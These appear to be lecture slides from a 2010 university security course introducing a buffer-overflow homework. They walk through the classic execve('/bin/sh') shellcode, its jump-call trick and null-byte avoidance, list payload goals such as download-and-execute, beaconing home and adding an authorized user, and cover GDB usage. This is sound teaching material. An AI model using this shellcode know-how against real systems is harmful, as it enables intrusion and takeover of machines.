

Homework 1A

18732 Fall 2010

Important info

- Part A – buffer overflows, 75% (today)
- Part B – web attacks, 25% (next week)
- DUE September 20

- You will get Part A when I get your group information
- I will have very limited availability 9/17-9/19.
- Submission via blackboard; exact details TBD

Part A

- Two servers to exploit
- Turn in a writeup plus working exploit code
- Detailed directions included

Agenda today

- Shellcode details
- Using GDB
- Stack layout (if we have time)

- Return to libC another time

Shellcode

- Start by copying one; customize as necessary
- Write and compile C code; use gdb or objdump to see what it looks like in machine code
 - Compile with -static
- Let's go through the AlephOne shellcode

C code: spawn shell

```
void main() {  
    char *name[2];  
    name[0] = "/bin/sh";  
    name[1] = NULL;  
    execve(name[0], name, NULL);  
}
```

Disassembly for main

```
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xffffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xffffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
```

Disassembly for execve

0x80002c0 <__execve+4>: movl \$0xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

0x80002ce <__execve+18>: int \$0x80

Add exit(0)

0x8000350 <_exit+4>: movl \$0x1,%eax

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx

0x8000358 <_exit+12>: int \$0x80

Putting it together

```
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
```

Jump-call trick

- Need relative addressing
- Call right before string: push string address
- Jump to the call instruction
- Call comes back to the top; pop string

Jump-call, continued

```
jmp offset-to-call
popl %esi
movl %esi,array-offset(%esi)
movb $0x0,nullbyteoffset(%esi)
movl $0x0,null-offset(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal array-offset,(%esi),%ecx
leal null-offset(%esi),%
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call offset-to-popl
/bin/sh string goes here.
```

Avoiding nulls

- Replace `mov $0` with `xor %eax, %eax`
- Use byte operations rather than long
- Set to -1 and then increment

- Also watch out for non-null problems
 - Delimiters
 - Other whitespace
 - Alphanumeric filters

Other goals

- Open a port and listen for instructions
- Beacon home to listening exploit author
- Download and execute
- Add an authorized user

Shellcode resources

- http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html
- <http://www.groar.org/expl/intermediate/aboep.txt>
- <http://www.linux-secure.com/endymion/shellcodes/>
- <http://www.vividmachines.com/shellcode/shellcode.html>
- <http://www.int80h.org/bsdasm/#system-calls>
- <http://www.phiral.net/shellcode.htm>
- metasploit

GDB basics: Getting started

- Compile with `gcc -g` so you have symbols
- `> gdb server`
- `list [function name] / [line number]`
 - `disas [function name] / [line number]`
 - Just “list” for current position
- Use `↑` to find a previous command
 - `↶` to repeat last command
 - `↶` also scrolls list, memory

Running, breaking

- `break [function name] / [line number]`
 - `break *0x80124588`
- `r` (run) to start; `c` (continue) to continue
- `n` (next): step over
 - `n 10` = go forward 10 lines
- `s` (step): step into [times]

Fun with local variables

- info local, info args, info stack
- p (print)
 - p count; p &count; p array[i]; p string
 - p \$ebp
- x (memory)
 - x/8x \$ebp, x/50b &struct, x/s 0x55391356

Why doesn't my shellcode work?

- x/i 0x34587923
- display/i \$pc
- nexti, stepi
- info reg

gdb references

- *<http://refcards.com/docs/peschr/gdb/gdb-refcard-a4.pdf>*
- <http://sourceware.org/gdb/current/onlinedocs/gdb/>

x86 resources

- <http://en.wikipedia.org/wiki/X86>
- <http://www.cs.virginia.edu/~evans/cs216/guides/x86.html>
- <http://www.skynet.ie/~darkstar/assembler/>
- <http://home.comcast.net/~fbui/intel.html>

Intel vs. AT&T

- There are two common ways to format x86 assembly: Intel syntax and AT&T syntax
- gdb disassembles using AT&T syntax
- Some of the resources I listed use Intel syntax
- The differences are important and confusing – for example, the operand order is switched.
- See <http://www.redhat.com/docs/manuals/enterprise/RHEL-3-Manual/gnu-assembler/i386-syntax.html> for an explanation

Stack layout resources

- http://en.wikipedia.org/wiki/Call_stack
- Lecture notes “stack” from 15-410:
<http://www.cs.cmu.edu/~410/lecture.html>